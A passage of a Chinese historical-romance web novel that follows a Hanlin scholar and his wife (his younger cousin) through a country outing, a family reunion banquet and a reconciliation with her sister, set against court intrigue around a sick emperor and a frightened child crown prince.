许清妙喘息着望向头顶的床幔,只觉得眼花缭乱,那顶盖上的鸳鸯戏水绣图似是活了一般。 水花都溅到了她脸上。 就这么失神的呆呆望着,直到身边人拉起她的手擦拭。 她很想自己起来拿皂粉洗几遍,可真的太晚了,她浑身无力地发困了。 “哥哥,要擦干净。” 她嘟囔着陷入沉睡,再不管那烧得可怜的人了,实在太坏了。 · 翌日,清辉宫太子书房内。 许恪一身靛青长袍,腰间坠着青玉红穗,不卑不亢地与太子告假。 “卑职来京近月,家中事务繁忙,特来与殿下请假三日彻底处理,还望殿下能恩准。” 八岁的小太子,瘦瘦小小,五官清秀眼神却暗淡无光,似是受了什么千斤重压。 小太子木楞的眼神看向这位年纪轻轻却饱读诗书、惊才艳艳的侍读,他今日一早起来便听贴身小太监说了,舅舅替他参了大皇兄,势必让大皇兄再无力觊觎太子之位。 他不希望舅舅去针对大皇兄的,这太子之位太难了,他一点都不想要。 可他不敢说,说了舅舅和父皇都会对他失望的,他不喜欢这样。 “许侍读,你也不想待在这里吧?” “我也不想,可我请不了假,今日天气这般好,你肯定可以到处走走。” 许恪凝眸看着眼前的小太子,可怜他居然都懂。 “太子殿下慎言。” 小太子稚嫩的声音再次响起:“准假,你去吧。” 许恪庆幸自己是趁着没有外人来请假,太子这些话要是传出去得惹大麻烦。 “还望殿下保重。” 许恪知道自己有些冷漠,小太子还小,正是需要人关心开导的时候,可他却不能与之亲近。 小太子低头继续读书,没再理他,许恪谢了恩告退。 屋外太子近侍带着人急匆匆地赶来,路过许恪时,匆匆瞥了许恪一眼。 很快屋里传来近侍近乎恳求的声音:“殿下,还请您可怜奴才,赶紧去找陛下求情吧,大皇子一党拿出了铁证指证国舅爷陷害皇子、蛊惑太子呀,陛下在朝会上发了好大的火,可还是拖着没有发落,就是在给您去营救的机会呀” 许恪没再听下去,只皱着眉匆匆出了宫。 皇帝正值春秋鼎盛,太子也是早就立下,大皇子怎么可能愚昧到此时争太子位?国舅又如何会这般急不可耐地要对付大皇子? 只怕是有他不知道的事情发生了,而且这事还与陛下有关。 再联想到前面几次见到陛下时,陛下眼底若有若无的急迫。 许恪心下一沉,一个隐约又可怕的猜测浮现。 皇帝恐怕是病了,且病得很隐晦,除了皇亲还无人知晓。 朝中人人皆知,大雍朝现任皇帝是马背上常胜将军,征战无数,旧疾数不胜数。 旧疾复发是极有可能的事情。 许恪回去的路上,心思百转,等到答案初步清晰时,不由暗暗心惊。 父亲所担心的京城要乱,恐怕会成真,届时的陛下疾病缠身根本稳定不了局势。 要知道每一个新旧皇帝的替换,都是裹挟着血雨腥风,要想顺利过渡难之又难。 上一次的腥风血雨还是当今陛下继位时,诛杀乾德太子及其党羽于宫门前,逼得先帝不得不改立太子。 短短十八年,历史就又要轮回吗? 第30章 第30章 天高云淡,碧空如洗。 许清妙靠坐在许恪的胸前,俩人共乘一骑白马,扬鞭策马出了东城门,一路飞奔地往观星台而去。 随行豪车奴仆皆远远辍在后头。 朝中风起云涌,小夫妻俩的动向自然无人在意。 “哥哥,风都是甜的。” 许清妙长开手臂仰着头,对着清冽的风深深的呼吸,她好似从没这般自在快活过。 她记忆中的十五年,从没有过的。 她喜欢这样肆意而自由的风。 许恪笑而不语,一手执鞭一手固定在她腰间,矫健的身姿笼罩着娇小的女郎奔向远方。 行至林野间,马速渐渐缓下。 林间鸟语花香、山明水秀,山路平坦不见崎岖,一条修整干净的车道弯弯曲曲的直通山顶。 而从山脚下往山顶望去,雾染烟岚的山林间一座丹红色的阁楼矗立其中,气势非凡。 “哥哥,那就是观星楼吗?” 许清妙纤纤素手指向那醒目的巍峨阁楼,因山势平缓,四周平坦再无其他山体阻挡视野,山顶的阁楼确实个最好的观星点。 “嗯,观星楼是前朝司天监主持建造,楼前设有祭坛,夜观星象以测风云,民间百姓跟风信仰,渐渐来这里观星祷告的人就多了起来。祷告我不知道灵不灵,但这儿的夜景是真的不错,清妙今晚可以好好看看。” 许恪也有了雅兴,搂着她驱马慢行,凑在她耳边轻轻讲解。 许清妙只觉得耳尖发热,他说话的声音似乎比山涧流水还还悦耳动听。 “嗯,与哥哥一起看。” 出发前,许恪将宫里的情况与家中说了,祖父赞同他的暂避,父亲却对他带着清妙出游颇有微词。 “如今动乱一触即发,能不到处跑最好,老实待在家更妥。” 许恪微笑,理解父亲的谨慎,但还是解释道:“答应了的事情就要做到,我在不在府里影响不了朝局。” 事事皆需衡量,但在尽可能的情况下,他都会以许清妙的喜好为主。 许恪喜欢她现在这般开心快活的样子,而过去三年的自己应该也是这般纵着她,他了解自己。 他从来视为隐私的书房有专门为她辟出的一排架子,放着她喜欢的话本书册,软榻上有她的绣枕披肩,处处有她存在的痕迹。 虽然现在的许清妙还没想到进入他的书房,但他相信很快就会了。 喜欢一个人就会想了解他,靠近他。 是夜,满天星光下,许清妙披着长袍靠在许恪怀里,数着天上星星,在夜风中听着他讲述十二星宿的故事。 夜很长,他们于星辰下纵情山水、浓情蜜意,却也有人孤身一人枯坐长夜。 · 同一片星空下,大雍朝皇宫内太极殿,整个王朝最有权力的人正枯坐窗前,看着漫天星斗,遮天蔽月。 一身墨袍的皇帝神游天外,身前伺候的御前大总管临福小心翼翼提醒道:“陛下,夜凉如水还是先就寝吧。” 皇帝深沉的目光扫过他,冷声道:“太子一直没有来?” 临福回道:“今儿晌午,太子宫里宣了太医,说是染了风寒病了。” 临福说完,满头冷汗,太子还小又不担事,如今连给国舅爷求情都不敢来,反而再次装病。 这无疑在打皇帝的脸,更何况如今皇帝身体大不如前,已经在为后事考虑。 没人敢说出真相,只盼着皇帝早早下定决心废了太子,改立皇长子,可临福心底清楚,皇帝绝不会换太子。 就如同先帝一般,真坐到了皇帝宝座上,都容不得他人忤逆他的决策,不管这个决策是对或错。 “咳咳咳,将值守太医宣来。” “是,奴才这就让人去办。” 夜幕下的皇城肃穆威仪,太医院里值守的太医仅有李素风和王益,一位垂垂老矣,一位正当青壮。 皇帝身边的内侍深夜来寻当值医正,俩人皆是一惊,连忙跟着内侍一起去了。 皇帝披着厚袍,端坐在榻上,眉目似是过了寒霜冷冰冰地看着他们。 “太子果真病了?” 王益不敢回话,茫然看向李素风,他是今年刚入的太医院,跟在李素风身边做事,这种给太子看病的事情轮不到他去。 皇帝也看向低着头鬓发如霜的李素风,“李医正,如实说来,太子可是真病了?” 近侍们皆知道,皇帝如今在乎的不是太子是不是真生病了,而是太子的不作为,被大皇子压到头上了还懦弱的不敢来面圣为自己的亲舅舅求情。 这样的懦弱无能才是犯了皇帝的大忌,千秋大业如何能交到这样的太子手上? 李素风恭敬磕头,口齿清晰地回道:“禀陛下,正是微臣看诊的,太子殿下身体孱弱,皆因惊恐心病所致,需得安心静养,否则药石无医。” 王益苍白着脸低下头,心中不解素来圆滑惯会打太极的李素风为何像变了一个人,这样直白的诊断别说是皇帝面前就是平民百姓跟前都会换委婉措辞。 冲撞帝王,他是不要命了吗? “放肆,一国太子岂会惊恐,李医正用心险恶至极,朕念你医术精湛留你宫中效命,岂料你恩将仇报!” “来人,将李素风革职,关进大理寺好好查办。” 帝王之怒,雷霆万钧,顷刻间李素风便被拖了出去,无半声辩解。 王益忍着全身发抖,低着头不敢出声,直到皇帝平息的声音从头顶响起:“你来说,太子可有病?” 王益吓破了胆,惊恐回道:“太子康健无忧,望陛下明鉴。” 这简直是糊弄君主的瞎话,可皇帝却笑了:“如此甚好,下去吧。” 临福示意侍从将王益扶着出去,回头看向笑过后一脸阴晴不定的皇帝。 “天亮后宣中书令进宫。” 皇帝的声音透着沧桑和颓废,说完这句话便软倒在了榻上。 临福见状惊呼:“陛下!” “闭嘴,莫惊动众人。”皇帝咬紧牙关虚弱地说出这句话,靠着极强的意志力才没让自己昏过去。 临福惊慌失措地扶着皇帝躺好,“陛下,那奴才去给您端汤药来?” 皇帝最近一直头昏头疼,疼得厉害的时候也有,可没有哪次如这般虚弱得坐都坐不住。 皇帝抬手摇了摇,无力道:“拿丹药给我服几颗就行了,将殿里嘴不严的都处理了。” 临福脸色苍白地应下:“奴才明白。” 这一夜,太极殿的内侍又换了一批生面孔,也有漏网之鱼偷偷往宫门外传递了消息。 · 繁星满天的夜晚过去,又是一个晴空万里的白日。 京郊的小道上,许清妙一身轻便骑装坐在马背上,许恪自在地走在马前,手里牵着缰绳领着她慢慢往前走着。 俩人再次丢下仆从,有说有笑地游走在惬意的山林小道间。 “哥哥,那你进京考试那年都没空来附近逛逛吗?” 许清妙好奇许恪考取功名的过程,一路上从中秀才到中状元问了个遍。 她在许家后院每日蜗居一隅时,他已经走过了山川河流,来到了万里外的京城。 她以为他也像其他世家子弟一样,科考之余游山玩水、诗酒江湖。 却不是。 “没有,有时间我也是在师傅那里练武。” 是呢,许清妙差点忘了,他为了学武还拜了位很厉害的武师傅。 “那清妙你呢?你都在家里做什么呢?” 许恪缓缓转头看她,也问出他好奇的事情。 许清妙轻笑出声,一手撩着发尾自嘲道:“哥哥难道不知道?自打懂事后,我平日里不是学女红就是学中馈之道,所有一切似乎都是为了往后嫁个好郎君做准备,无趣的紧。” “要说最有意思的,其实还是闺中好友来探望,说话逗趣最有意思,不过她们最爱聊的人你知道是谁吗?” 许恪看她神神秘秘的样子,配合地问道:“不知道,还请夫人解惑。” 许清妙嘴角微翘,指着他道:“自然是你这位风度翩翩的青年才俊了,她们问的最多的便是你哥哥喜欢什么样的小娘子呀?” “这我哪能知道?我只能瞎编了,说你喜欢胆大的,她们就真敢去你面前自报家门,说你喜欢话多的,她们就叽叽喳喳的想找你说话。” 许恪无奈摇头,“如今知道了吧?” 许清妙随口接道:“知道什么呀?” “知道我喜欢什么样的小娘子呀!” 许清妙很快反应过来,故作懊恼道:“不知道,还是不知道,哥哥从没告诉我过。” 许恪站定,拉过马绳,踩上马镫翻身上马,紧紧地搂着她低声哄道:“我喜欢你,可知道?” 风知道,云知道,许清妙也知道了。 美好的时光,眨眼便过,他们第三日午后回了家。 回家后,许清妙直接回了后院休息,许恪衣服都没换便被祖父招进了书房。 许坚眼神复杂地看向儿子问道:“可知道前儿一早陛下发了赦令?” 许恪喝了茶低声回应:“知道,赦免了国舅爷死罪,只降了爵位。” 老爷子拿着卷书,听他们父子说话,老神在在。 许恪看了祖父一眼,安抚道:“父亲,如此证据确凿的事情,陛下都能容忍,您说大皇子有多少胜算?” 30-40 第31章 第31章 一场有预谋的精心陷害与绝地反扑,随着皇帝赦令的颁布,如流星般在朝堂划过,坠入历史的尘埃。 烈日渐渐褪去余威,暮色氤氲,大理寺收监的大牢中阴凉生寒,满头白发的李素风身形单薄的靠坐在窄窗之下。 狱卒陈进拎着食盒走近,“李大夫,用饭了。” 李素风撩起厚厚的眼皮看了过去,颤巍巍地站起来,“怎么又来了?仔细牵扯上你。” 陈进四方脸身材高大,躬身蹲下将饭菜端出递给他,低声说道:“听说陛下病了,恐怕不会再为难李伯您了。” 在他看来,李素风只是因为性子太直,将太子病情说得太直接了,才会惹怒了皇帝被关进大理寺,只要过了这阵风头自然就会被释放了。 李素风端碗的动作一顿,侧头看向他:“你听谁说的?” 陈进轻咳一声压着嗓子道:“今儿收监了一个犯人,听那犯人说的。” 李素风严肃提醒他:“不可再提这事,下回让别人来送饭,你别再来了。” 他不想再牵连其他无辜的人。 那日在皇帝跟前,他并不是不知道该如何回话,只是心底终究为曾经的主子乾德太子抱屈。 同样的怯懦无能,皇帝满嘴江山社稷为了皇位能狠心逼杀嫡亲兄长,如今他倒要看看皇帝要如何对待自己的亲儿子。 “呵!” 李素风为人一向和善,如今露出这般嘲讽的笑容来,定是想起了什么极其难受的事情来了。 陈进不敢打搅,蹲在一旁看着。 李素风用了饭,将碗还给他,再次交代:“别来了,给你娘开的药方够她痊愈的了。” 说完,顿了一瞬又低声道:“如果有机会见到翰林院许恪,烦请你给他带句话。” 陈进不认识许恪,但听过许翰林的美名与才名,“您想跟他说什么?” 李素风浑浊的眼中露出些许笑意,缓缓道:“就说我给他的那风寒方子好好留着。” 陈进认真地应下,暗道许翰林大概也是和他一般向李大夫求过药方。 “好了,走吧,别来看我了,要真留着一条老命,我自会去找你们。” 他的家人早就在那场宫变中死光了,这些年虽然任职太医院,却再没有成家。 左右不过是两袖清风孤家寡人罢了,又怎么会怕死呢? 陈进走后,李素风又恢复了原来的样子,呆坐着不发一言。 · 夏末骄阳似火,许府迎来了最热闹的团聚,二房许晃终于结束二十年的外派进京了。 许府上下张灯结彩,热闹非凡,堪比过年。 许清妙跟在王氏身边帮着张罗府里的事项,过得倒也是自在,只是这半个月许恪却整日早出晚归。 太子病好后,恢复了读书上课,只是卧床养病的皇帝将太子接到了属宫亲自检验学业。 而许恪也随之过去,并再次履行翰林学士职责为皇帝内制诏书。 一时间,倒显得“炙手火热”。 主宅正房院子里在设宴,王氏领着刚刚归家的大姐二姐说话。 或是有什么话要私下说,转头便将许清妙支开了。 “三娘,快去催催你二伯母,这要开席了怎地还没过来。” 许清妙嗔道:“二伯母正在屋里跟四妹妹说体己话呢,娘肯定是要与大姐姐二姐姐说体己话,这才将我支走的。” 说完,她便笑着行了礼往外走。 许大姐想去拦她,被王氏阻了,等许清妙走远才说道:“娘有话跟你们说,三娘是需要避开的。” “可娘这般,让三妹妹心里难过了,她把您当亲娘孝顺的呢。” 王氏颔首笑道:“话是这么说,但我要说的话确实不适合她现在听了,女儿变成了儿媳,这话能一样吗?我让你们看紧姑爷防着妾室,这跟她怎么说?让她闹你弟弟不许他纳妾?” “这婆媳婆媳再不是娘俩了,有些话就得变了,你们说是不是?” 许大娘和二娘对视一眼,都看到了对方眼里的无奈。 三妹妹也太可怜了。 许清妙心底那点不爽在见到许恪那刻烟消云散了,左右她从来没将王氏当亲娘,也就算不上太在意她的态度。 绕过花厅,许恪着一身墨绿色官服,头戴舒角幞头,脚踩虾蟆头厚底皂靴,缓缓走来。 许清妙踩着小碎步轻盈地迎了上去,惊喜道:“哥哥,怎么这个时辰回来了?” 许恪伸手握着她手腕,轻轻带着她走到廊下,避开来来往往忙碌的丫头仆妇。 眼底浅浅笑意,看着她道:“自然是告了假,陛下与太子殿下都知晓今日二叔回京,府里备了接风宴,特准我今儿早点归家。” 当今圣上杀伐果断,但也不苛刻臣下,如今卧病在床性情更是捉摸不透,但既然开了恩典,他自然谢恩。 “怎么一人站在外面,大姐二姐他们呢?” 今日设宴全是自家人,席面便不分男女设在了后院,郎君在前院说话,娘子们应该是在后院热闹说话才对。 却见她一人孤单单的站在屋外。 许恪皱眉看了周围,又看向许清妙,等着她回话。 许清妙知道瞒不过聪慧的长兄,只得如实交代:“二伯娘在和四妹妹说话,娘在跟大姐二姐说话,我都不方便听的。” 至于,为何她不方便听,倒不用细讲。 许恪牵着她往屋里走,许清妙吓得以为他要去找王氏,连忙拉住他。 “哥哥,我不去里面。” 许恪停下看她,抬手捏了捏她的脸颊,“想什么呢?带你去屋里说话而已,我们俩说。” 许清妙似乎瞬间领悟了他话中深意:她们说她们的,她可以跟他说体己话。 许清妙圆圆的眼睛,迸发出光彩,立马高兴道:“好,跟哥哥说。” 许恪暗道,三妹妹嫁给他还是受委屈了,他母亲那里还是少去为好。 门一合上,许恪便搂着她坐在了榻上,这般还不够,直接将她抱坐在了膝上。 “哥哥,官服会弄皱的。”她的手撑在他胸口,提醒他。 许恪轻笑:“无妨,待会用了饭再回去更换,现在先说说体己话。” 许清妙捂嘴笑出声:“哥哥可知道娘会跟二位姐姐说什么吗?” 许恪不在意地摇摇头,“请夫人赐教。” 许清妙推了推他肩膀,戏谑道:“娘肯定会使出浑身解数教导姐姐们如何套牢夫君,如何智斗小妾,再如何防着庶子。” 许恪看着她不语,许清妙连忙补充道:“哥哥,我不是在埋汰娘,主要我真听过这些。” 许恪挑眉,鼻尖蹭着她的额头,轻声道:“几时听过?” 许清妙糯糯道:“及笄后娘就跟我讲过了,敬夫君顺公婆外,还得长点心眼防着妾室庶子,抓牢丈夫的心。” 她说完抬眼看他,着官服的他严肃干练,这般清俊的模样却正放肆地抱着她,蹭着她。 “那你学会了吗?” 许恪的声音低低沉沉,似是没在意她说的这些话,随意地问道。 许清妙双手搂着他的脖子,蹭了蹭他的脸颊,笑道:“哥哥没给我这个机会,谢谢哥哥。” 许恪捏了捏她的腰侧,淡淡道:“那你要怎么答谢?” 他低下头的鼻息越来越近,许清妙连忙伸手捂着他的嘴,提醒道:“很快就开席了,不能亲。” 许恪没管她的手,依旧埋下头靠在她的颈侧,双臂搂紧了她的腰背。 濡湿从手心传来,许清妙烫的松开了手,抓着他的衣襟不敢再松手。 “不亲怎么谢我?清妙,跟你说过很多次了,我们之间永远没有妾室,不管是现在还是以后,都不要有这方面的顾虑。” 她的话何尝不是一种试探与担忧,许恪知道或许连她自己都没察觉到,但还是证明了他做得不够。 许清妙勾唇轻轻地笑开,“嗯,我会好好记着的,那我也告诉哥哥,其实娘那样做我并不难过,我只是羡慕大姐他们有娘亲而已。” “要是我娘还在世,她肯定也会交代我好些事情,可惜,我连她长什么样子都不知道。” 许恪紧了紧抱着她的手臂,安抚道:“再等等,已经在调查了。” 许恪已经问过三叔许驰,从他那里只知道她娘叫丽娘,其他一概不知。 他知道三叔没有撒谎,所以更觉得蹊跷,这才会安排人去继续打探。 许清妙窝在他怀里,颔首道:“也不是着急,就是想知道而已,哥哥懂吗?” 许恪低头亲了亲她的眼睛,“懂,怎么不懂,大家都有亲娘,我们妙妙也要有。” 许清妙噗嗤笑出声:“哥哥,你这语气好像我爹啊。” 许驰就是喜欢这样逗许清妙的,每次给她送东西都爱说“别人有的我们妙妙也要有呀。” 许恪勾唇浅笑:“三叔是个好父亲。” “那当然了,我爹除了妻妾多了点,哪哪都好。” 俩人在屋里厮磨好一会,才被鹊枝提醒该入席了。 许清妙站起身理衣袍*,转身就见许恪仍旧坐着不动,不由疑惑道:“哥哥怎么不起身?” 许恪低头看了眼,灼灼看着她道:“还得歇会才行。” 她立马脸红红的笑道:“嗯,哥哥慢慢歇会,我先去找四妹妹了。” 今日四妹妹好不容易回来了,她还得找四妹妹和解呢。 说完,笑着看了他一眼,转身出去了。 第32章 第32章 夕阳斜挂屋檐,晚霞铺满院子,席间欢声笑语。 主桌的老爷子和老太太正与二爷许晃说笑谈话,桌上坐着的其他人也都是自家儿郎。 说笑自然无太多拘束。 许清妙与女郎们另坐一桌,入席后转头在人群里找到了许恪,只见他端坐在大伯身旁,嶙峋白皙的手指正捏着酒杯与许意、许琏碰杯喝酒。 许是她找许恪的目光太过明显,大姐许清霜笑着调侃道:“三妹妹这是在找大郎呢!怎么想大郎来给你挡酒不成?今儿我们姐妹相聚你可不要扫兴哦。” 许清霜性格开朗,从小就爱逗她们这些做妹妹的,语气也拿捏恰当。 许清妙对着许清霜皱了皱鼻子,娇嗔道:“大姐就会取笑我,我是担心哥哥们喝多了难受。” 二姐许清岚接过话头,戳破道:“二郎三郎都是海量,就大郎酒量差些,三妹妹这是明目张胆地心疼自己夫君呢。” 三人你来我往地说笑,抬眼间瞧见坐在一旁的许清雾,冷漠着脸,一言不发。 那明显哭过的眼角还泛红,只冷清清地低着头喝酒,似乎姐妹间的热闹与她无干。 许清霜见此收了笑,忧心问道:“四妹妹莫要一人喝闷酒,有什么不顺心的事跟姐姐们说道说道?” 许清雾撩起眼皮看向她们,一一扫过最后停在许清妙脸上,看了片刻又转了头,继续喝酒。 在大家以为她不会说话时,只听她饱含幽怨地说道:“三姐今日的快活可是心安理得?” 许清妙心里对她确有些许愧疚,但听了这话也不由难受,只冷静反问:“四妹是不是认定全是我的错?那你应该记得,我当初只是退了婚,并没有让你去替我,所有决定都是你自己做的。” “你心里难受不好过,我都能体谅,可是能不能不一味沉浸在怨恨当中丧失了本性?” 许清雾冷眼瞥着她,冷冷道:“三姐说的轻松,嫁给胡大这样的人是我,不是你,你自然无法感同身受。” 许清霜拉了拉许清妙,示意她不要再说。 许清妙按下长姐的手,坚持说问道:“那四妹妹可愿和离?若你愿意,家里也定会为你做主,让你重新嫁人。” “你!”许清雾红着眼眶满眼震惊地看着她。 “怎么?你既然过得不如意,难道从来没有想过和离?” 许清雾似是被打破了结界,愣愣地定在那,半响没回应。 大雍朝女子和离早有先例,但在世俗礼教的压迫下,和离的女子少之又少。 许清雾从没想过和离,她这三年来自怜自艾,怨许清妙悔婚,怨父亲狠心,也怨胡庆堂的无情无义,可她从没想过向家里求援,她从心底认定家里不会愿意看到嫁出去的女郎和离回家。 可许清妙就是能这般轻易地提出来,理所当然地告诉她,她还有退路她能回家。 许清雾心底像被人拧住般酸涩,恍惚间想起三年前那个深秋,她仓促间赶到京城待嫁。 那时候的许清妙已经从许家三房除名,却依旧来问她是否真心想嫁给胡庆堂,如果不愿意现在说出来还不迟。 她拒绝了她的好意。 如今她却再次认真地告诉她,和离也来得及。 许清雾茫然四顾,第一次用不解的目光打量她这位三姐姐,外表看起来甜甜糯糯性子极软,可实际上她的主意是真的大,什么都敢想敢做。 她突然就了悟,恐怕也只有这样的性子才有勇气在婚前悔婚抗争,有勇气不顾世俗眼光嫁给自己的长兄。 席间气氛一瞬间冷掉,许清雾红着眼睛看着许清妙,再次一言不发,众人不知所措。 许清妙手心也偷偷汗湿,她长这么大还没如此据理力争地与自家姐妹争辩过,心底也忐忑不安,怕言语过激惹得四妹更怨自己,又怕四妹不能清醒依旧自苦。 只是说出这些话,她是真心希望四妹妹能早日打开心结,重新过上自己想要的日子。 可惜许清雾一直低着头没有再说话。 她们这场酒喝得短,很快就散了席,几人恢复了说笑,簇拥着老太太回了院子说话。 院子里剩下的叔伯兄弟依旧把酒畅谈。 许琏多喝了几杯,高举着杯子嚷嚷道:“待我当上禁军统领定要领军作战,男儿志气马上闯!” 他喝得满脸通红,职权不大口气却很大,众人觉得没眼看,无人响应他。 一家团聚的日子,老爷子脸上也挂着笑,不似平常的淡然出尘,捋着胡子道:“三郎你往后多回家,别一人老歇在禁军值房里。” 许琏颔首乖巧应下。 “还有二郎,如今生意搬到京城了,往后就住家里,别老是一年到头不着家。” 许意摸了摸鼻子也爽快应了。 老爷子又转头看向许恪,似乎想了一会才开口叮嘱:“如今在圣上跟前听令,更得细心谨慎,切不要搅合进党争当中,可知道?” 许恪恭敬应下,“祖父放心,孙儿知道轻重。” 老爷子一番交代完,酒宴也就散了,许琏被丫头们扶着回了屋洗漱,许意没喝醉,自己走着回了他的院子。 只许恪行了礼后,折身去了老太太的院子。 暮色四合。 雅致的院子里花树错落有序,枝桠间挂着彩带、红绸,许恪一路上酒热发散,心底顿觉生出几分急促,只想尽快接了人回自己屋。 隔着画壁,他远远便听到屋子里的说笑声,老太太正在与孙女们打雀牌。 许清妙糯糯的声音传入他耳中:“祖母欺负人,这牌是故意喂给大姐姐吃的。” 笑声渐起,老太太爽朗的声音回道:“那当然了,你现在嫁了大郎成日在府里晃,祖母自然更稀罕你的姐妹们了,她们下回还不知道什么时候见得到呢,祖母老了见一回少一回的。” 笑声间歇,许清妙清脆脆的说道:“那让姐妹们在家多住段时日吧,也好多陪陪祖母。” 几人听了这话都了然她的意思,老太太顺着话说道:“你大姐姐二姐姐有孩子要管教,哪里能在娘家多住的?” “四娘倒是可以在家里安心住下,你可愿意?” 老太太突然发问,看向一直在旁边默默喝茶的许清雾。 许清妙听了连忙脚下踢了踢她,祖母发话了这样的好机会,这妹妹不会犯傻拒绝吧。 老太太话里的意思就是要给她撑腰的呀,许清妙心底暗暗惊叹,原来这些事老太太都门清吗? 许清雾回神,起身行礼,眼底湿润地轻声道:“孙女听祖母安排。” 屋里屋外的人听了她的回话,皆松了一口气。 许恪勾唇笑了下,不枉费他前日在老太太面前说的那番话,如此清妙心里减了负担,四妹妹也能得到解脱。 锦棉打帘子出来,见到许恪正站在门外,连忙行礼道:“翰林怎么不进屋” 许恪淡淡道:“她们正玩的高兴,我就不进去打搅了。” 锦棉微怔,转眼便见许恪掉头走出了院子。 清冷挺拔的背影走入夜色中,丝毫不在意身后看着他走远的目光。 锦辛站在锦棉身旁,感叹道:“棉姐姐,翰林待三小姐可真好呀。” 锦辛是老太太跟前泡茶伺候的老人了,一时不慎又叫了许清妙三小姐。 锦棉转头瞪她,严肃纠正道:“叫少夫人,再叫错仔细老太太罚你。” 锦辛拍了拍嘴,举着手指发誓:“嗯嗯,绝对不会了。” 等锦辛走开了,锦棉不由想起当初也是这样的夜色里,还只是状元郎的许恪身姿笔直的跪在夜色里求老太太成全。 许家大少爷娶许家三小姐为妻,最反对的人不是大夫人和大爷,而是吃斋念佛看重子嗣传承、府宅脸面的老太太。 锦棉一直伺候在老太太身旁,清楚地看着丰神俊朗的状元郎是如何卑微地祈求自己的祖母,将身体最隐晦的隐疾都敞开了告诉老太太,就为了换取老太太的心软。 还好老太太确实是个心软的性子,最后同意了,她不敢想象如果老太太最后不同意大少爷会要怎么办。 艰辛那句话说的一点没错,大少爷就是对大少夫人极好的,好到这世间怕是再无人能如此了。 锦棉站在屋外良久,直到屋里老太太与小姐们玩得尽兴,她才转身进屋,提醒老太太该休息了。 她看得出翰林喝了酒,像是特意来接少夫人的,为了让少夫人玩得尽兴才忍着没有去打搅。 许清妙没想到事情如此顺利,等到锦棉提醒老太太该休息了,她才告别了老太太回自己院子。 朦胧夜色下,许恪洗漱后仰躺在竹榻上散酒热,一双凤眼紧闭着,似是睡熟了。 “哥哥,可是睡着了?” 许恪勾唇回道:“嗯,睡着了,夫人可玩得尽兴了?” 许清妙挑眉,糯糯道,“哥哥怎么知道我在祖母院里玩牌了?” “可是哥哥去找过我了?” 许恪闭着眼,一把将她拉进怀里,手掌摩挲着她后背,沉沉低声道:“嗯,想你了。” 第33章 第33章 院子里的风时歇时起,吹动屋檐下的铜铃,撞击出断断续续的悦耳铃音。 夜色尚浅,半掩着的雕花窗下,许清妙躺在软榻上轻轻喘气,十指紧紧抓住许恪的后颈,任由他借着酒意为所欲为。 他说他想她,直白而热烈,她却忍不住笑话他,就这么一会想她什么呢? 许恪沉沉的双眸盯着她半响,翻身就用行动告诉她想了什么,亲吻触碰,直抵灵魂的拥抱,他用最有力的回应告诉她,他是如何想她的。 屋外伺候的丫鬟早已偷偷躲远,许清妙却仍旧死死咬着唇瓣,生怕一个不留神泄了声响。 带着薄茧的手指抚上红透的唇瓣,重重揉开,许恪的声音从身后贴近她的耳侧,低低地哄道:“别咬自己,实在难忍就咬我。” 夫妻间有些话实在是触类旁通,她听懂了他的意思,舌尖舔过他的指尖,轻哼一声张嘴咬住。 只听他似是被咬疼了,闷哼堵在了嗓子里,双臂更加用力地将她抱紧,似要揉碎在他怀里。 春宵酒酣,饮风醉月。 许清妙暗叹,哥哥喝的酒恐是全发作在了她的身上,她只觉得整晚浮浮沉沉、身不由己。 待到再有意识清醒过来,窗外天色已大亮,身旁也已空无一人。 撑着乏力的身子坐起,抬眼看去,昨夜荒唐弄乱的软榻、椅凳已全部摆正,胡乱脱下的衣物也不见了踪影,整个屋里整理得干干净净。 许清妙感到喉咙发痒,轻咳一声,门外就响起鹊枝的询问声。 “少夫人,可是醒了?” 许清妙低头掩上被子,想盖住身上痕迹,却是徒劳,到处都是如红梅般的印子,哪里遮得住。 “进来吧。” 鹊枝进屋后,习以为常地给她穿衣挽发,等一切收拾妥当才开口道:“少夫人,翰林交代今儿会晚点回家,让您不用等他用晚膳。” 许清妙颔首,换上舒服的荷叶绣鞋起身,边走边道:“嗯,先用早膳,我饿了。” 鹊枝捂嘴轻笑,“午膳时辰都过了,这会备的是午膳,有您爱吃的芙蓉油酥鸡和百合鲜肉羹,八宝饭也是添了蜜枣闷出来的。” 许清妙扯了扯唇角,这下好了,睡到下午了,“大姐姐她们没有找我吧?” 鹊枝扶着她进了饭厅,伺候的婢女端上热腾腾的饭菜,待她坐好,鹊枝才回话:“翰林让怜星去知会了,大小姐她们晚膳前让您去老太太院里找她们玩。” 许清妙刚端起的碗差点没端稳,她们怕是要笑话她。 “她们可有说何事?没正事我今儿可不想去。” 打牌逛园子她都没精力,吃完还想回去躺一躺,实在是感觉浑身还在发软。 鹊枝轻声细语道:“是四小姐有话跟您说,说你不去那她来您院子里找你也成。” 许清妙提着筷子还没动手,不由为难道:“那还是我去吧,你派个人去回她,就说我睡完午觉就去找她。” 四妹妹要说什么,她心里还是有些数的,况且她愿意与她说话了,总算是和解的开始。 · 钟送黄昏,艳阳西坠时,许清妙穿着一身清隽薄纱襦裙,挽着低垂斜发髻,摇着团扇翩翩然出了院门。 鹊枝跟在身后叽叽喳喳,诉说着院子里今日发生的各种事情。 “三少爷喝醉了,昨夜里一直拉着给他送醒酒汤的小丫头不放手。” “二少爷今儿晨起又带着云竹回了制衣坊,这回俞娘都没跟着来呢。” “小姐,还有一件事,奴婢觉得该告诉您一声。” 许清妙远远望着院子墙角那株青梅,不甚在意地回道:“什么事呢?” 鹊枝凑近她耳边嘀咕道:“大夫人院子里的香云被三爷收了房,当通房丫头去了。” 许清妙微张着嘴惊讶地看着向鹊枝,“啊?李氏能同意?香云愿意给我爹当通房?” “听三爷院里的丫鬟说,三爷直接问大夫人要的,三夫人碍着大夫人的面子没发作呢。香云愿不愿意那就不重要了,三爷看上了,她也不敢说个不字吧。” 许清妙皱眉,她知道自己爹不大靠谱,喜欢美人,但绝对不是那种不顾廉耻的好色之徒,这么些年来,除了续弦的李氏,也就是两房貌美的良妾和外面一房柔弱外室。 怎地突然看上香云了? 香云在许家也不是一天两天了,要真喜欢香云不会等到现在才收了房。 许清妙越想越觉得奇怪,不解地问道:“那你可知道香云怎么凑到我爹跟前的?” 鹊枝摇了摇头,“那奴婢就不晓得了,香云一直在大夫人身边伺候,昨日摆宴大夫人还派香云端醒酒汤给各位主子呢。” 许清妙好好的心情被毁了,总觉得这事不对劲,可这种事情放在大家族里稀疏平常,并不值得她大惊小怪的。 可对象是自己从小就敬重的父亲,就觉得不那么可以无视了。 